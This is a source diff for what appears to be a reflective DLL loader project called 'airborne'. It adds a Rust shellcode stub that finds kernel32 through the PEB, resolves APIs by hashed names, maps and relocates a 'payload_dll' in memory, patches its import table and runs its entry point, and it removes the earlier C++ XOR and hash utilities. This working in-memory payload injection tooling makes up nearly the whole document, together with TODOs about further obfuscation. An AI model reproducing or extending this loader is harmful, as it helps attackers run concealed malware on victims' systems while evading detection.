LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
};
using MY_PEB_LDR_DATA = _MY_PEB_LDR_DATA;
using PMY_PEB_LDR_DATA = _MY_PEB_LDR_DATA *;
struct _MY_LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
};
using MY_LDR_DATA_TABLE_ENTRY = _MY_LDR_DATA_TABLE_ENTRY;
using PMY_LDR_DATA_TABLE_ENTRY = _MY_LDR_DATA_TABLE_ENTRY *;
struct _IMAGE_RELOC {
WORD offset : 12;
WORD type : 4;
};
using IMAGE_RELOC = _IMAGE_RELOC;
using PIMAGE_RELOC = _IMAGE_RELOC *;
PBYTE GetModuleAddressFromHash(DWORD dwHash);
HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 *eng);
PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage);
void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders);
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta);
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 *eng);
void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache);

View File

@ -0,0 +1,593 @@
#![no_std]
mod memory;
use core::{
arch::asm,
ffi::c_void,
mem::{size_of, transmute},
ptr::null_mut,
slice::from_raw_parts,
};
use windows_sys::{
core::PWSTR,
Win32::{
Foundation::{BOOL, HMODULE},
System::{
Diagnostics::Debug::{
IMAGE_DATA_DIRECTORY, IMAGE_DIRECTORY_ENTRY_BASERELOC,
IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_DIRECTORY_ENTRY_IMPORT, IMAGE_NT_HEADERS64,
IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE,
IMAGE_SECTION_HEADER,
},
Memory::{
MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE,
PAGE_EXECUTE_WRITECOPY, PAGE_NOACCESS, PAGE_READONLY, PAGE_READWRITE,
PAGE_WRITECOPY,
},
SystemServices::{
DLL_PROCESS_ATTACH, IMAGE_BASE_RELOCATION, IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE,
IMAGE_EXPORT_DIRECTORY, IMAGE_IMPORT_BY_NAME, IMAGE_IMPORT_DESCRIPTOR,
IMAGE_NT_SIGNATURE, IMAGE_ORDINAL_FLAG64, IMAGE_REL_BASED_DIR64,
IMAGE_REL_BASED_HIGHLOW,
},
Threading::{PEB, TEB},
WindowsProgramming::IMAGE_THUNK_DATA64,
},
},
};
use crate::memory::*;
// must be edited based on the number of imports in the IDT of the payload
// const IMPORT_COUNT: usize = 100;
// const MAX_IMPORT_DELAY_MS: u32 = 5000;
#[cfg(not(test))]
#[panic_handler]
fn panic(_info: &core::panic::PanicInfo) -> ! {
loop {}
}
// TODO: check if i8 types can be replaced with u8 types (especially in pointers)
// TODO: remove _fltused and _DllMainCRTStartup (and uncomment DllMain) if deemed unnecessary after testing
#[export_name = "_fltused"]
static _FLTUSED: i32 = 0;
#[no_mangle]
#[allow(non_snake_case)]
pub unsafe extern "system" fn _DllMainCRTStartup(
_module: HMODULE,
_call_reason: u32,
_reserved: *mut c_void,
) -> BOOL {
1
}
//#[no_mangle]
//#[allow(non_snake_case)]
//pub unsafe extern "system" fn DllMain(_module: HMODULE, _reason: u32, _reserved: *mut u8) -> BOOL {
// 1
//}
#[link_section = ".text"]
#[no_mangle]
pub unsafe extern "system" fn loader(
payload_dll: *mut c_void,
function_hash: u32,
user_data: *mut c_void,
user_data_len: u32,
_shellcode_bin: *mut c_void,
flags: u32,
) {
/*
1.) locate the required functions and modules from exports with their hashed names
*/
let kernel32_base_ptr = get_module_ptr(KERNEL32_DLL).unwrap();
let _ntdll_base_ptr = get_module_ptr(NTDLL_DLL).unwrap();
if kernel32_base_ptr.is_null() || _ntdll_base_ptr.is_null() {
return;
}
let far_procs = get_export_ptrs(kernel32_base_ptr).unwrap();
/*
2.) load the target image to a newly allocated permanent memory location with RW permissions
*/
let module_base_ptr = payload_dll as *mut u8;
if module_base_ptr.is_null() {
return;
}
let module_dos_header_ptr = module_base_ptr as *mut IMAGE_DOS_HEADER;
let module_nt_headers_ptr = (module_base_ptr as usize
+ (*module_dos_header_ptr).e_lfanew as usize)
as *mut IMAGE_NT_HEADERS64;
let module_img_size = (*module_nt_headers_ptr).OptionalHeader.SizeOfImage as usize;
let preferred_base_ptr = (*module_nt_headers_ptr).OptionalHeader.ImageBase as *mut c_void;
let base_addr_ptr = allocate_rw_memory(preferred_base_ptr, module_img_size, &far_procs);
if base_addr_ptr.is_null() {
return;
}
copy_pe(base_addr_ptr, module_base_ptr, module_nt_headers_ptr);
/*
3.) process the image relocations (assumes the image couldn't be loaded to the preferred base address)
*/
let data_dir_slice = (*module_nt_headers_ptr).OptionalHeader.DataDirectory;
let relocation_ptr: *mut IMAGE_BASE_RELOCATION = rva_mut(
base_addr_ptr as _,
data_dir_slice[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].VirtualAddress as usize,
);
if relocation_ptr.is_null() {
return;
}
process_relocations(
base_addr_ptr,
module_nt_headers_ptr,
relocation_ptr,
&data_dir_slice,
);
/*
4.) resolve the imports by patching the Import Address Table (IAT)
*/
let import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR = rva_mut(
base_addr_ptr as _,
data_dir_slice[IMAGE_DIRECTORY_ENTRY_IMPORT as usize].VirtualAddress as usize,
);
if import_descriptor_ptr.is_null() {
return;
}
patch_iat(base_addr_ptr, import_descriptor_ptr, &far_procs);
/*
5.) finalize the sections by setting protective permissions after mapping the image
*/
finalize_relocations(base_addr_ptr, module_nt_headers_ptr, &far_procs);
/*
6.) execute DllMain or user defined function depending on the flag passed into the shellcode by the generator
*/
if flags == 0 {
let dll_main_addr = base_addr_ptr as usize
+ (*module_nt_headers_ptr).OptionalHeader.AddressOfEntryPoint as usize;
#[allow(non_snake_case)]
let DllMain = transmute::<_, DllMain>(dll_main_addr);
DllMain(base_addr_ptr as _, DLL_PROCESS_ATTACH, module_base_ptr as _);
} else {
// UserFunction address = base address + RVA of user function
let user_fn_addr = get_export_addr(base_addr_ptr as _, function_hash).unwrap();
#[allow(non_snake_case)]
let UserFunction = transmute::<_, UserFunction>(user_fn_addr);
// execution with user data passed into the shellcode by the generator
UserFunction(user_data, user_data_len);
}
}
unsafe fn get_export_ptrs(kernel32_base_ptr: *mut u8) -> Option<FarProcs> {
let loadlib_addr = get_export_addr(kernel32_base_ptr, LOAD_LIBRARY_A).unwrap();
let getproc_addr = get_export_addr(kernel32_base_ptr, GET_PROC_ADDRESS).unwrap();
let virtualalloc_addr = get_export_addr(kernel32_base_ptr, VIRTUAL_ALLOC).unwrap();
let virtualprotect_addr = get_export_addr(kernel32_base_ptr, VIRTUAL_PROTECT).unwrap();
let flushcache_addr = get_export_addr(kernel32_base_ptr, FLUSH_INSTRUCTION_CACHE).unwrap();
let sleep_addr = get_export_addr(kernel32_base_ptr, SLEEP).unwrap();
if loadlib_addr == 0
|| getproc_addr == 0
|| virtualalloc_addr == 0
|| virtualprotect_addr == 0
|| flushcache_addr == 0
{
return None;
}
#[allow(non_snake_case)]
let LoadLibraryA: LoadLibraryA = transmute(loadlib_addr);
#[allow(non_snake_case)]
let GetProcAddress: GetProcAddress = transmute(getproc_addr);
#[allow(non_snake_case)]
let VirtualAlloc: VirtualAlloc = transmute(virtualalloc_addr);
#[allow(non_snake_case)]
let VirtualProtect: VirtualProtect = transmute(virtualprotect_addr);
#[allow(non_snake_case)]
let FlushInstructionCache: FlushInstructionCache = transmute(flushcache_addr);
#[allow(non_snake_case)]
let Sleep: Sleep = transmute(sleep_addr);
Some(FarProcs {
LoadLibraryA,
GetProcAddress,
VirtualAlloc,
VirtualProtect,
FlushInstructionCache,
Sleep,
})
}
#[link_section = ".text"]
unsafe fn get_module_ptr(module_hash: u32) -> Option<*mut u8> {
// first entry in the InMemoryOrderModuleList -> PEB, PEB_LDR_DATA, LDR_DATA_TABLE_ENTRY
// InLoadOrderModuleList grants direct access to the base address without using CONTAINING_RECORD macro
let peb_ptr = get_peb_ptr();
let peb_ldr_ptr = (*peb_ptr).Ldr as *mut PEB_LDR_DATA;
let mut table_entry_ptr =
(*peb_ldr_ptr).InLoadOrderModuleList.Flink as *mut LDR_DATA_TABLE_ENTRY;
while !(*table_entry_ptr).DllBase.is_null() {
let name_buf_ptr = (*table_entry_ptr).BaseDllName.Buffer;
let name_len = (*table_entry_ptr).BaseDllName.Length as usize;
let name_slice_buf = from_raw_parts(transmute::<PWSTR, *const u8>(name_buf_ptr), name_len);
// calculate the module hash and compare it
if module_hash == airborne_utils::calc_hash(name_slice_buf) {
return Some((*table_entry_ptr).DllBase as _);
}
table_entry_ptr = (*table_entry_ptr).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
None
}
#[link_section = ".text"]
unsafe fn get_nt_headers_ptr(module_base_ptr: *mut u8) -> Option<*mut IMAGE_NT_HEADERS64> {
let dos_header_ptr = module_base_ptr as *mut IMAGE_DOS_HEADER;
if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE {
return None;
}
let nt_headers_ptr =
(module_base_ptr as usize + (*dos_header_ptr).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
if (*nt_headers_ptr).Signature != IMAGE_NT_SIGNATURE {
return None;
}
Some(nt_headers_ptr)
}
#[link_section = ".text"]
unsafe fn get_export_addr(module_base_ptr: *mut u8, function_hash: u32) -> Option<usize> {
// NT Headers -> RVA of Export Directory Table -> function names, ordinals, and addresses
let nt_headers_ptr = get_nt_headers_ptr(module_base_ptr).unwrap();
let export_dir_ptr = (module_base_ptr as usize
+ (*nt_headers_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize]
.VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY;
let names = from_raw_parts(
(module_base_ptr as usize + (*export_dir_ptr).AddressOfNames as usize) as *const u32,
(*export_dir_ptr).NumberOfNames as _,
);
let funcs = from_raw_parts(
(module_base_ptr as usize + (*export_dir_ptr).AddressOfFunctions as usize) as *const u32,
(*export_dir_ptr).NumberOfFunctions as _,
);
let ords = from_raw_parts(
(module_base_ptr as usize + (*export_dir_ptr).AddressOfNameOrdinals as usize) as *const u16,
(*export_dir_ptr).NumberOfNames as _,
);
// compare hashes iteratively for each entry
for i in 0..(*export_dir_ptr).NumberOfNames {
let name_ptr = (module_base_ptr as usize + names[i as usize] as usize) as *const i8;
let name_len = get_cstr_len(name_ptr as _);
let name_slice = from_raw_parts(name_ptr as _, name_len);
if function_hash == airborne_utils::calc_hash(name_slice) {
return Some(module_base_ptr as usize + funcs[ords[i as usize] as usize] as usize);
}
}
None
}
#[link_section = ".text"]
unsafe fn allocate_rw_memory(
preferred_base_ptr: *mut c_void,
alloc_size: usize,
far_procs: &FarProcs,
) -> *mut c_void {
let mut base_addr_ptr = (far_procs.VirtualAlloc)(
preferred_base_ptr,
alloc_size,
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE,
);
// fallback: attempt to allocate at any address if preferred address is unavailable
if base_addr_ptr.is_null() {
base_addr_ptr = (far_procs.VirtualAlloc)(
null_mut(),
alloc_size,
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE,
);
}
base_addr_ptr
}
#[link_section = ".text"]
unsafe fn copy_pe(
new_base_ptr: *mut c_void,
old_base_ptr: *mut u8,
nt_headers_ptr: *mut IMAGE_NT_HEADERS64,
) {
let section_header_ptr = (&(*nt_headers_ptr).OptionalHeader as *const _ as usize
+ (*nt_headers_ptr).FileHeader.SizeOfOptionalHeader as usize)
as *mut IMAGE_SECTION_HEADER;
// PE sections one by one
for i in 0..(*nt_headers_ptr).FileHeader.NumberOfSections {
let header_i_ref = &*(section_header_ptr.add(i as usize));
let dst_ptr = new_base_ptr
.cast::<u8>()
.add(header_i_ref.VirtualAddress as usize);
let src_ptr = (old_base_ptr as usize + header_i_ref.PointerToRawData as usize) as *const u8;
let raw_size = header_i_ref.SizeOfRawData as usize;
let src_data_slice = from_raw_parts(src_ptr, raw_size);
(0..raw_size).for_each(|x| {
let src = src_data_slice[x];
let dst = dst_ptr.add(x);
*dst = src;
});
}
// PE headers
for i in 0..(*nt_headers_ptr).OptionalHeader.SizeOfHeaders {
let dst = new_base_ptr as *mut u8;
let src = old_base_ptr as *const u8;
*dst.add(i as usize) = *src.add(i as usize);
}
}
#[link_section = ".text"]
unsafe fn process_relocations(
base_addr_ptr: *mut c_void,
nt_headers_ptr: *mut IMAGE_NT_HEADERS64,
mut relocation_ptr: *mut IMAGE_BASE_RELOCATION,
data_dir_slice: &[IMAGE_DATA_DIRECTORY; 16],
) {
let delta = base_addr_ptr as isize - (*nt_headers_ptr).OptionalHeader.ImageBase as isize;
// upper bound prevents accessing memory past the end of the relocation data
let relocation_end = relocation_ptr as usize
+ data_dir_slice[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].Size as usize;
while (*relocation_ptr).VirtualAddress != 0
&& ((*relocation_ptr).VirtualAddress as usize) <= relocation_end
&& (*relocation_ptr).SizeOfBlock != 0
{
// relocation address, first entry, and number of entries in the whole block
let addr = rva::<isize>(
base_addr_ptr as _,
(*relocation_ptr).VirtualAddress as usize,
) as isize;
let item = rva::<u16>(relocation_ptr as _, size_of::<IMAGE_BASE_RELOCATION>());
let count = ((*relocation_ptr).SizeOfBlock as usize - size_of::<IMAGE_BASE_RELOCATION>())
/ size_of::<u16>();
for i in 0..count {
// high bits -> type, low bits -> offset
let type_field = (item.add(i).read() >> 12) as u32;
let offset = item.add(i).read() & 0xFFF;
match type_field {
IMAGE_REL_BASED_DIR64 | IMAGE_REL_BASED_HIGHLOW => {
*((addr + offset as isize) as *mut isize) += delta;
}
_ => {}
}
}
relocation_ptr = rva_mut(relocation_ptr as _, (*relocation_ptr).SizeOfBlock as usize);
}
}
#[link_section = ".text"]
unsafe fn patch_iat(
base_addr_ptr: *mut c_void,
mut import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR,
far_procs: &FarProcs,
) {
/*
1.) shuffle Import Directory Table entries (image import descriptors)
2.) delay the relocation of each import a semirandom duration
3.) conditional execution based on ordinal/name
4.) indirect function call via pointer
*/
// TODO: obfuscate the import handling (convert C++ obfuscation to Rust, preferably no_std)
while (*import_descriptor_ptr).Name != 0x0 {
let module_name_ptr = rva::<i8>(base_addr_ptr as _, (*import_descriptor_ptr).Name as usize);
if module_name_ptr.is_null() {
return;
}
let module_handle = (far_procs.LoadLibraryA)(module_name_ptr as _);
if module_handle == 0 {
return;
}
// RVA of the IAT via either OriginalFirstThunk or FirstThunk
let mut original_thunk_ptr: *mut IMAGE_THUNK_DATA64 = if (base_addr_ptr as usize
+ (*import_descriptor_ptr).Anonymous.OriginalFirstThunk as usize)
!= 0
{
rva_mut(
base_addr_ptr as _,
(*import_descriptor_ptr).Anonymous.OriginalFirstThunk as usize,
)
} else {
rva_mut(
base_addr_ptr as _,
(*import_descriptor_ptr).FirstThunk as usize,
)
};
let mut thunk_ptr: *mut IMAGE_THUNK_DATA64 = rva_mut(
base_addr_ptr as _,
(*import_descriptor_ptr).FirstThunk as usize,
);
while (*original_thunk_ptr).u1.Function != 0 {
let is_snap_res = (*original_thunk_ptr).u1.Ordinal & IMAGE_ORDINAL_FLAG64 != 0;
// check if the import is by name or by ordinal
if is_snap_res {
// mask out the high bits to get the ordinal value and patch the address of the function
let fn_ord_ptr = ((*original_thunk_ptr).u1.Ordinal & 0xFFFF) as *const u8;
(*thunk_ptr).u1.Function =
(far_procs.GetProcAddress)(module_handle, fn_ord_ptr).unwrap() as _;
} else {
// get the function name from the thunk and patch the address of the function
let thunk_data_ptr = (base_addr_ptr as usize
+ (*original_thunk_ptr).u1.AddressOfData as usize)
as *mut IMAGE_IMPORT_BY_NAME;
let fn_name_ptr = (*thunk_data_ptr).Name.as_ptr();
(*thunk_ptr).u1.Function =
(far_procs.GetProcAddress)(module_handle, fn_name_ptr).unwrap() as _;
}
thunk_ptr = thunk_ptr.add(1);
original_thunk_ptr = original_thunk_ptr.add(1);
}
import_descriptor_ptr =
(import_descriptor_ptr as usize + size_of::<IMAGE_IMPORT_DESCRIPTOR>()) as _;
}
}
#[link_section = ".text"]
unsafe fn finalize_relocations(
base_addr_ptr: *mut c_void,
module_nt_headers_ptr: *mut IMAGE_NT_HEADERS64,
far_procs: &FarProcs,
) {
// RVA of the first IMAGE_SECTION_HEADER in the PE file
let section_header_ptr = rva_mut::<IMAGE_SECTION_HEADER>(
&(*module_nt_headers_ptr).OptionalHeader as *const _ as _,
(*module_nt_headers_ptr).FileHeader.SizeOfOptionalHeader as usize,
);
for i in 0..(*module_nt_headers_ptr).FileHeader.NumberOfSections {
let mut protection = 0;
let mut old_protection = 0;
let section_header_ptr = &*(section_header_ptr).add(i as usize);
let dst_ptr = base_addr_ptr
.cast::<u8>()
.add(section_header_ptr.VirtualAddress as usize);
let section_raw_size = section_header_ptr.SizeOfRawData as usize;
let is_executable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_EXECUTE != 0;
let is_readable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_READ != 0;
let is_writable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_WRITE != 0;
if !is_executable && !is_readable && !is_writable {
protection = PAGE_NOACCESS;
}
if is_writable {
protection = PAGE_WRITECOPY;
}
if is_readable {
protection = PAGE_READONLY;
}
if is_writable && is_readable {
protection = PAGE_READWRITE;
}
if is_executable {
protection = PAGE_EXECUTE;
}
if is_executable && is_writable {
protection = PAGE_EXECUTE_WRITECOPY;
}
if is_executable && is_readable {
protection = PAGE_EXECUTE_READ;
}
if is_executable && is_writable && is_readable {
protection = PAGE_EXECUTE_READWRITE;
}
// apply the new protection to the current section
(far_procs.VirtualProtect)(
dst_ptr as _,
section_raw_size,
protection,
&mut old_protection,
);
}
// flush the instruction cache to ensure the CPU sees the changes made to the memory
(far_procs.FlushInstructionCache)(-1, null_mut(), 0);
}
#[link_section = ".text"]
unsafe fn get_peb_ptr() -> *mut PEB {
// TEB located at offset 0x30 from the GS register on 64-bit
let teb: *mut TEB;
asm!("mov {teb}, gs:[0x30]", teb = out(reg) teb);
(*teb).ProcessEnvironmentBlock as *mut PEB
}
#[link_section = ".text"]
unsafe fn get_cstr_len(str_ptr: *const char) -> usize {
let mut tmp: u64 = str_ptr as u64;
while *(tmp as *const u8) != 0 {
tmp += 1;
}
(tmp - str_ptr as u64) as _
}
fn rva_mut<T>(base_ptr: *mut u8, offset: usize) -> *mut T {
(base_ptr as usize + offset) as *mut T
}
fn rva<T>(base_ptr: *mut u8, offset: usize) -> *const T {
(base_ptr as usize + offset) as *const T
}

View File

@ -0,0 +1,126 @@
use core::ffi::c_void;
use windows_sys::{
core::PCSTR,
Win32::{
Foundation::{BOOL, BOOLEAN, FARPROC, HANDLE, HMODULE, UNICODE_STRING},
System::{
Kernel::LIST_ENTRY,
Memory::{PAGE_PROTECTION_FLAGS, VIRTUAL_ALLOCATION_TYPE},
},
},
};
#[allow(non_snake_case)]
pub static KERNEL32_DLL: u32 = 0x6DDB9555;
#[allow(non_snake_case)]
pub static NTDLL_DLL: u32 = 0x1EDAB0ED;
#[allow(non_snake_case)]
pub static LOAD_LIBRARY_A: u32 = 0xB7072FDB;
#[allow(non_snake_case)]
pub static GET_PROC_ADDRESS: u32 = 0xDECFC1BF;
#[allow(non_snake_case)]
pub static VIRTUAL_ALLOC: u32 = 0x97BC257;
#[allow(non_snake_case)]
pub static FLUSH_INSTRUCTION_CACHE: u32 = 0xEFB7BF9D;
#[allow(non_snake_case)]
pub static VIRTUAL_PROTECT: u32 = 0xE857500D;
#[allow(non_snake_case)]
pub static SLEEP: u32 = 0xE07CD7E;
#[allow(non_camel_case_types)]
pub type LoadLibraryA = unsafe extern "system" fn(lpLibFileName: PCSTR) -> HMODULE;
#[allow(non_camel_case_types)]
pub type GetProcAddress = unsafe extern "system" fn(hModule: HMODULE, lpProcName: PCSTR) -> FARPROC;
#[allow(non_camel_case_types)]
pub type VirtualAlloc = unsafe extern "system" fn(
lpAddress: *const c_void,
dwSize: usize,
flAllocationType: VIRTUAL_ALLOCATION_TYPE,
flProtect: PAGE_PROTECTION_FLAGS,
) -> *mut c_void;
#[allow(non_camel_case_types)]
pub type VirtualProtect = unsafe extern "system" fn(
lpAddress: *const c_void,
dwSize: usize,
flNewProtect: PAGE_PROTECTION_FLAGS,
lpflOldProtect: *mut PAGE_PROTECTION_FLAGS,
) -> BOOL;
#[allow(non_camel_case_types)]
pub type FlushInstructionCache = unsafe extern "system" fn(
hProcess: HANDLE,
BaseAddress: *const c_void,
NumberOfBytesToFlush: usize,
) -> BOOL;
#[allow(non_camel_case_types)]
pub type Sleep = unsafe extern "system" fn(dwMilliseconds: u32);
#[allow(non_camel_case_types)]
pub type DllMain =
unsafe extern "system" fn(module: HMODULE, call_reason: u32, reserved: *mut c_void) -> BOOL;
#[allow(non_camel_case_types)]
pub type UserFunction =
unsafe extern "system" fn(user_data: *mut c_void, user_data_len: u32) -> BOOL;
#[repr(C)]
#[allow(non_snake_case)]
pub struct FarProcs {
pub LoadLibraryA: LoadLibraryA,
pub GetProcAddress: GetProcAddress,
pub VirtualAlloc: VirtualAlloc,
pub VirtualProtect: VirtualProtect,
pub FlushInstructionCache: FlushInstructionCache,
pub Sleep: Sleep,
}
#[allow(non_camel_case_types)]
pub type PLDR_INIT_ROUTINE = Option<
unsafe extern "system" fn(DllHandle: *mut c_void, Reason: u32, Context: *mut c_void) -> BOOLEAN,
>;
#[repr(C)]
#[allow(non_snake_case, non_camel_case_types)]
pub struct PEB_LDR_DATA {
pub Length: u32,
pub Initialized: BOOLEAN,
pub SsHandle: HANDLE,
pub InLoadOrderModuleList: LIST_ENTRY,
pub InMemoryOrderModuleList: LIST_ENTRY,
pub InInitializationOrderModuleList: LIST_ENTRY,
pub EntryInProgress: *mut c_void,
pub ShutdownInProgress: BOOLEAN,
pub ShutdownThreadId: HANDLE,
}
#[repr(C)]
#[allow(non_snake_case)]
pub union LDR_DATA_TABLE_ENTRY_u1 {
pub InInitializationOrderLinks: LIST_ENTRY,
pub InProgressLinks: LIST_ENTRY,
}
#[repr(C)]
#[allow(non_snake_case, non_camel_case_types)]
pub struct LDR_DATA_TABLE_ENTRY {
pub InLoadOrderLinks: LIST_ENTRY,
pub InMemoryOrderLinks: LIST_ENTRY,
pub u1: LDR_DATA_TABLE_ENTRY_u1,
pub DllBase: *mut c_void,
pub EntryPoint: PLDR_INIT_ROUTINE,
pub SizeOfImage: u32,
pub FullDllName: UNICODE_STRING,
pub BaseDllName: UNICODE_STRING,
}

View File

@ -1,63 +0,0 @@
#include "crypto.hpp"
std::vector<BYTE> GenerateKey(size_t keysize) {
std::vector<BYTE> key(keysize, 0);
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<> dis(0, 255);
for (size_t i = 0; i < key.size(); ++i) {
key[i] = static_cast<BYTE>(dis(gen));
}
return key;
}
void XorCipher(std::vector<BYTE> *data, const std::vector<BYTE> &key) {
for (size_t i = 0; i < data->size(); i++) {
(*data)[i] = (*data)[i] ^ key[i % key.size()];
}
}
DWORD CalculateHash(const std::string &source) {
auto dwHash = HASH_KEY;
for (char ch : source) {
if (ch == '\0') {
continue;
}
if (ch >= 'a' && ch <= 'z') {
ch -= 0x20;
}
// Casting might be unnecessary
dwHash = ((dwHash << 5) + dwHash) + static_cast<DWORD>(ch);
}
return dwHash;
}
DWORD CalculateHash(const UNICODE_STRING &baseDllName) {
auto pwszBaseDllName = baseDllName.Buffer;
auto dwHash = HASH_KEY;
char ch;
for (auto i = 0; i < baseDllName.MaximumLength; i++) {
ch = pwszBaseDllName[i];
if (ch == '\0') {
continue;
}
if (ch >= 'a' && ch <= 'z') {
ch -= 0x20;
}
// Casting might be unnecessary
dwHash = ((dwHash << 5) + dwHash) + static_cast<DWORD>(ch);
}
return dwHash;
}

View File

@ -1,15 +0,0 @@
#pragma once
#include <windows.h>
#include <winternl.h>
#include <random>
#include <string>
#include <vector>
constexpr auto HASH_KEY = 5381;
std::vector<BYTE> GenerateKey(size_t keysize);
void XorCipher(std::vector<BYTE> *data, const std::vector<BYTE> &key);
DWORD CalculateHash(const std::string &source);
DWORD CalculateHash(const UNICODE_STRING &baseDllName);

View File

@ -1,15 +0,0 @@
#include "futils.hpp"
std::vector<BYTE> ReadFromFile(const std::string &filename) {
std::ifstream file(filename, std::ios::binary);
std::vector<BYTE> data((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
file.close();
return data;
}
void WriteToFile(const std::string &filename, const std::vector<BYTE> &data) {
std::ofstream file(filename, std::ios::binary);
file.write(reinterpret_cast<const char *>(data.data()), data.size());
file.close();
}

View File

@ -1,10 +0,0 @@
#pragma once
#include <windows.h>
#include <fstream>
#include <string>
#include <vector>
std::vector<BYTE> ReadFromFile(const std::string &filename);
void WriteToFile(const std::string &filename, const std::vector<BYTE> &data);

View File

@ -1,26 +0,0 @@
# Usage:
# *) Install cross-compiler: `brew install mingw-w64`
# *) cmake -DCMAKE_TOOLCHAIN_FILE=toolchains/darwin-mingw-w64-x86_64.cmake -B build -S .
# *) make -C build
set(CMAKE_SYSTEM_NAME Windows)
set(TOOLCHAIN_PREFIX x86_64-w64-mingw32)
# Cross-compilers to use for C and C++
set(CMAKE_C_COMPILER ${TOOLCHAIN_PREFIX}-gcc)
set(CMAKE_CXX_COMPILER ${TOOLCHAIN_PREFIX}-g++)
set(CMAKE_RC_COMPILER ${TOOLCHAIN_PREFIX}-windres)
set(CMAKE_AR ${TOOLCHAIN_PREFIX}-ar)
set(CMAKE_RANLIB ${TOOLCHAIN_PREFIX}-ranlib)
# Target environment on the build host system (with Homebrew)
set(CMAKE_FIND_ROOT_PATH /opt/homebrew/Cellar/mingw-w64/11.0.1/toolchain-x86_64/${TOOLCHAIN_PREFIX})
# Search for programs in the build host directories (modifying default behavior of FIND_XXX())
set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER)
set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY)
set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)
# General compiler flags
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -static -Os -flto")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -static -Os -flto")

View File

@ -1,26 +0,0 @@
# Usage:
# *) Install cross-compiler: `sudo apt install mingw-w64`
# *) cmake -DCMAKE_TOOLCHAIN_FILE=toolchains/linux-mingw-w64-x86_64.cmake -B build -S .
# *) make -C build
set(CMAKE_SYSTEM_NAME Windows)
set(TOOLCHAIN_PREFIX x86_64-w64-mingw32)
# Cross-compilers to use for C and C++
set(CMAKE_C_COMPILER ${TOOLCHAIN_PREFIX}-gcc)
set(CMAKE_CXX_COMPILER ${TOOLCHAIN_PREFIX}-g++)
set(CMAKE_RC_COMPILER ${TOOLCHAIN_PREFIX}-windres)
set(CMAKE_AR ${TOOLCHAIN_PREFIX}-ar)
set(CMAKE_RANLIB ${TOOLCHAIN_PREFIX}-ranlib)
# Target environment on the build host system (with Homebrew)
set(CMAKE_FIND_ROOT_PATH /usr/${TOOLCHAIN_PREFIX})
# Search for programs in the build host directories (modifying default behavior of FIND_XXX())
set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER)
set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY)
set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)
# General compiler flags
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -static -Os -flto")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -static -Os -flto")

7
utils/Cargo.toml Normal file
View File

@ -0,0 +1,7 @@
[package]
name = "airborne-utils"
version = "0.1.0"
edition = "2021"
[dependencies]
# panic-halt = "0.2.0"

29
utils/src/lib.rs Normal file
View File

@ -0,0 +1,29 @@
#![no_std]
// gen_xor_key isn't required to be a shared module, as it's only used in the shellcode generator
const HASH_KEY: usize = 5381;
pub fn xor_cipher(data: &mut [u8], key: &[u8]) {
for (i, byte) in data.iter_mut().enumerate() {
*byte ^= key[i % key.len()];
}
}
pub fn calc_hash(buffer: &[u8]) -> u32 {
let mut hash = HASH_KEY;
for b in buffer {
if *b == 0 {
continue;
}
if (&b'a'..=&b'z').contains(&b) {
hash = ((hash << 5).wrapping_add(hash)) + *b as usize - 0x20;
} else {
hash = ((hash << 5).wrapping_add(hash)) + *b as usize;
}
}
hash as u32
}